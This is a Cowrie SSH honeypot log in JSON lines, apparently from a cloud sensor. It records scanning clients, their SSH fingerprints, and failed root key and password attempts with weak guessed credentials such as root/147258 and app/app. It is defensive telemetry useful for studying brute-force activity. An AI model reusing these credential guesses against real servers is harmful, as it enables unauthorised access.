{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:34.046953Z","src_ip":"91.92.40.171","session":"2ce626558c35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app","message":"login attempt [app/app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:34.590146Z","src_ip":"91.92.40.171","session":"2ce626558c35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ivan","password":"ivan","message":"login attempt [ivan/ivan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:34.628096Z","src_ip":"91.92.42.133","session":"6c673b54290b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.163.206.178","src_port":6938,"dst_ip":"10.17.0.5","dst_port":22,"session":"ceaa4b43529d","protocol":"ssh","message":"New connection: 89.163.206.178:6938 (10.17.0.5:22) [session: ceaa4b43529d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:34.697302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:34.700109Z","src_ip":"89.163.206.178","session":"ceaa4b43529d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:34.786098Z","src_ip":"89.163.206.178","session":"ceaa4b43529d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"77:05:a8:e4:48:05:0c:11:1c:1d:b2:e1:d3:e9:33:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCEsi83JqjbmzcQQ06VLERhSiKe3S//TP3qJ8N2n3zVHKglyV7xj7t/nfg7GwJzkukFZssCKsLi/5DWlO8q9xZmxDBhSMJ/IVtoR5QEs5dMOX+PS4xh2oM1qVuHqh5vZh6+f+tc4cvj0VI9Vn+kGq15g8LCa1rTHjO+O+OZ8CT2RcwjMCyTux83MPxxMonCb4yEg8bdelaOgrb5waFdb2aNwOiW8i8JL2CUhiUAUJqMuoFU0S8xnC1m4epF/UofKN2rSUioLY7KhS5tkitVXZcnij6EasXcTYKU33PJ8z1asm3VUeObg9VFpAK7pou0BkDcEUY3acHL0Qly9vk1HFPeLJkvlrk/DyPYH5a/fSvWBz9TqXRjElStmGffi25g8FA6Su/UJ2JGt1wWwhinTS5/c+VF2EqBeEuDbbNtHkjC4J95kIW7aJlHZMRXZaSOsyt6IsPxyhVCgQmIv3DCRc4KIQ/zCFBZo5i9v1h9048WnhRjYiGl+k37AWDztXIgfBQ1g66QCrYX5RJOh/shxRNyCPdyvudW4+FeL9fCqGqWS5OR1yWAKcY7LSlOPCE7xVEU53l1Cn9wOFT5F9PP2zjdyyCgf7xTVh7r8lXYZTkjShyVbL9Xl/rqPMJJLLVHh0zE58xbJV9+WwyIaBlBe2/3GxmzWjmc0ao0IzNp1xIY1Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 77:05:a8:e4:48:05:0c:11:1c:1d:b2:e1:d3:e9:33:9e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:35.219195Z","src_ip":"89.163.206.178","session":"ceaa4b43529d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"77:05:a8:e4:48:05:0c:11:1c:1d:b2:e1:d3:e9:33:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCEsi83JqjbmzcQQ06VLERhSiKe3S//TP3qJ8N2n3zVHKglyV7xj7t/nfg7GwJzkukFZssCKsLi/5DWlO8q9xZmxDBhSMJ/IVtoR5QEs5dMOX+PS4xh2oM1qVuHqh5vZh6+f+tc4cvj0VI9Vn+kGq15g8LCa1rTHjO+O+OZ8CT2RcwjMCyTux83MPxxMonCb4yEg8bdelaOgrb5waFdb2aNwOiW8i8JL2CUhiUAUJqMuoFU0S8xnC1m4epF/UofKN2rSUioLY7KhS5tkitVXZcnij6EasXcTYKU33PJ8z1asm3VUeObg9VFpAK7pou0BkDcEUY3acHL0Qly9vk1HFPeLJkvlrk/DyPYH5a/fSvWBz9TqXRjElStmGffi25g8FA6Su/UJ2JGt1wWwhinTS5/c+VF2EqBeEuDbbNtHkjC4J95kIW7aJlHZMRXZaSOsyt6IsPxyhVCgQmIv3DCRc4KIQ/zCFBZo5i9v1h9048WnhRjYiGl+k37AWDztXIgfBQ1g66QCrYX5RJOh/shxRNyCPdyvudW4+FeL9fCqGqWS5OR1yWAKcY7LSlOPCE7xVEU53l1Cn9wOFT5F9PP2zjdyyCgf7xTVh7r8lXYZTkjShyVbL9Xl/rqPMJJLLVHh0zE58xbJV9+WwyIaBlBe2/3GxmzWjmc0ao0IzNp1xIY1Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:35.221768Z","src_ip":"89.163.206.178","session":"ceaa4b43529d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"33:3b:39:51:09:5e:93:fd:ae:b6:97:91:cb:ee:59:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3NiWkWvIXV4d/IQAdaVYKdlasUwCtgtnIaeXA45KDt4t/oPswJX5HeHNHO9nFiZykOMuvL6Ok9OWXpA9qf6FQmNY1ff4ctplES565569UEDsEp3BOhqD/5OfVZrE702Br2GEYiLmZFxt7/M8x1QVJgIWmrCtab/+L08ZWPcFvPBqr+DRMJPVJbRZEoW6EXlkmrKvAVRoFhwQ8zPUa1X5JRacRlgYCzn704Qni2pTvVnxWPtKz3zMC9DhTJgV+nEwoQ2jvFYucElk7H7Z+F4R543EnVUKkaa/8JOWcOe3egyHzjTY9QRwfz8KdXyRRysF9sdKR6DY8KkYW6maSzajx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 33:3b:39:51:09:5e:93:fd:ae:b6:97:91:cb:ee:59:ee","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:35.307950Z","src_ip":"89.163.206.178","session":"ceaa4b43529d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"33:3b:39:51:09:5e:93:fd:ae:b6:97:91:cb:ee:59:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3NiWkWvIXV4d/IQAdaVYKdlasUwCtgtnIaeXA45KDt4t/oPswJX5HeHNHO9nFiZykOMuvL6Ok9OWXpA9qf6FQmNY1ff4ctplES565569UEDsEp3BOhqD/5OfVZrE702Br2GEYiLmZFxt7/M8x1QVJgIWmrCtab/+L08ZWPcFvPBqr+DRMJPVJbRZEoW6EXlkmrKvAVRoFhwQ8zPUa1X5JRacRlgYCzn704Qni2pTvVnxWPtKz3zMC9DhTJgV+nEwoQ2jvFYucElk7H7Z+F4R543EnVUKkaa/8JOWcOe3egyHzjTY9QRwfz8KdXyRRysF9sdKR6DY8KkYW6maSzajx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:35.313953Z","src_ip":"89.163.206.178","session":"ceaa4b43529d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8c:76:16:de:9e:7d:a2:d4:4a:94:67:61:28:86:1a:42","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIL5S4CLx+qvto6l4e8vV8LGtbg346d8hk/PfV8W6Br8a","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 8c:76:16:de:9e:7d:a2:d4:4a:94:67:61:28:86:1a:42","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:35.400342Z","src_ip":"89.163.206.178","session":"ceaa4b43529d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8c:76:16:de:9e:7d:a2:d4:4a:94:67:61:28:86:1a:42","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIL5S4CLx+qvto6l4e8vV8LGtbg346d8hk/PfV8W6Br8a","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:35.403040Z","src_ip":"89.163.206.178","session":"ceaa4b43529d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6a:96:dd:ab:df:eb:54:12:dc:38:41:98:84:f2:40:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxR7r66JJ9tG3nIjNbhWz44SJviKe+lvkBYzDo8lvz5l0IirlFbYbvnVrWmGE96u8agAqA4nSWtgT5HcR1Pz6pak97MsuTaC5Y3kkowzfpZ4AKkaD7NrP4rypDz5FjExp3aPc5NwvRayZOSG2LfmuXGpXat6f3eKF4/1ZGhDrQtjRVs1Dqs6MhNztCZPmWx2B9RwebwjRlLMIm7H3HzK8JQhfJwB5s3x+hibm4Ivmp92faP/m0RGfZNMkxclMGOH/VAYNqvwDex+dRjX0Z7RO1J4Ez7rDV+g/HZ9KZLZiWyRDDLC0GHDIrK4wQeauAu5HK/DWkOml7uP1aykjX5tX1w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6a:96:dd:ab:df:eb:54:12:dc:38:41:98:84:f2:40:bf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:35.489504Z","src_ip":"89.163.206.178","session":"ceaa4b43529d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6a:96:dd:ab:df:eb:54:12:dc:38:41:98:84:f2:40:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxR7r66JJ9tG3nIjNbhWz44SJviKe+lvkBYzDo8lvz5l0IirlFbYbvnVrWmGE96u8agAqA4nSWtgT5HcR1Pz6pak97MsuTaC5Y3kkowzfpZ4AKkaD7NrP4rypDz5FjExp3aPc5NwvRayZOSG2LfmuXGpXat6f3eKF4/1ZGhDrQtjRVs1Dqs6MhNztCZPmWx2B9RwebwjRlLMIm7H3HzK8JQhfJwB5s3x+hibm4Ivmp92faP/m0RGfZNMkxclMGOH/VAYNqvwDex+dRjX0Z7RO1J4Ez7rDV+g/HZ9KZLZiWyRDDLC0GHDIrK4wQeauAu5HK/DWkOml7uP1aykjX5tX1w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:35.492944Z","src_ip":"89.163.206.178","session":"ceaa4b43529d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"84:46:b3:4b:cf:75:7f:b9:ef:78:8a:df:62:44:b5:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDM4OD/9nO3iUuLwXO+VhTm9fC2wV+cg/2ofmJqYMjY2kWuCHWlJXTttzRWwblSLnSLthsg61PHRyozP+2sHwf0RIgNxNQAi7kDdbfMALEXTgHbXlTZ2O5LN5nRzE93DxsqBbk6kdS2bLwKqoSBSkqMLXuaEhYZSuYgf85bFki2rCqP6yUCVy/ZEiTYKotSdJx1D837FeGwFeKe/m8eD1Sd68ngIp5tEbxs7CFUh8xM6oHRPJmbufoZcU7YP06+iFGq2a4GnIAgWBHw3osPM39pLQo97d8/+7Te26f8mrmnTwf/dtGU+T0k8av7nme+K19ZZVdxQeXWSO8tXta4E7Hl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 84:46:b3:4b:cf:75:7f:b9:ef:78:8a:df:62:44:b5:8d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:35.579471Z","src_ip":"89.163.206.178","session":"ceaa4b43529d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"84:46:b3:4b:cf:75:7f:b9:ef:78:8a:df:62:44:b5:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDM4OD/9nO3iUuLwXO+VhTm9fC2wV+cg/2ofmJqYMjY2kWuCHWlJXTttzRWwblSLnSLthsg61PHRyozP+2sHwf0RIgNxNQAi7kDdbfMALEXTgHbXlTZ2O5LN5nRzE93DxsqBbk6kdS2bLwKqoSBSkqMLXuaEhYZSuYgf85bFki2rCqP6yUCVy/ZEiTYKotSdJx1D837FeGwFeKe/m8eD1Sd68ngIp5tEbxs7CFUh8xM6oHRPJmbufoZcU7YP06+iFGq2a4GnIAgWBHw3osPM39pLQo97d8/+7Te26f8mrmnTwf/dtGU+T0k8av7nme+K19ZZVdxQeXWSO8tXta4E7Hl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:35.582300Z","src_ip":"89.163.206.178","session":"ceaa4b43529d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:35.668087Z","src_ip":"89.163.206.178","session":"ceaa4b43529d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:35.704278Z","src_ip":"91.92.40.171","session":"2ce626558c35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:36.352717Z","src_ip":"91.92.42.133","session":"6c673b54290b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":47320,"dst_ip":"10.17.0.5","dst_port":22,"session":"452363c24d5e","protocol":"ssh","message":"New connection: 46.19.67.181:47320 (10.17.0.5:22) [session: 452363c24d5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:37.108896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:37.111769Z","src_ip":"46.19.67.181","session":"452363c24d5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:37.230872Z","src_ip":"46.19.67.181","session":"452363c24d5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"121019","message":"login attempt [root/121019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:37.595737Z","src_ip":"46.19.67.181","session":"452363c24d5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":40366,"dst_ip":"159.203.135.109","dst_port":22,"session":"33e477c1ed33","protocol":"ssh","message":"New connection: 91.92.42.133:40366 (159.203.135.109:22) [session: 33e477c1ed33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:38.476361Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:38.717558Z","src_ip":"46.19.67.181","session":"452363c24d5e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:39.098406Z","src_ip":"91.92.42.133","session":"33e477c1ed33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:39.101716Z","src_ip":"91.92.42.133","session":"33e477c1ed33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":33528,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a886896cb41","protocol":"ssh","message":"New connection: 91.92.40.171:33528 (159.203.135.109:22) [session: 4a886896cb41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:39.336883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:39.364568Z","src_ip":"91.92.40.171","session":"4a886896cb41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:39.422749Z","src_ip":"91.92.40.171","session":"4a886896cb41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"user2","message":"login attempt [user2/user2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:39.782696Z","src_ip":"91.92.40.171","session":"4a886896cb41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:41.013639Z","src_ip":"91.92.40.171","session":"4a886896cb41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147258","message":"login attempt [root/147258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:43.405829Z","src_ip":"91.92.42.133","session":"33e477c1ed33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:44.805791Z","src_ip":"91.92.42.133","session":"33e477c1ed33","protocol":"ssh"}
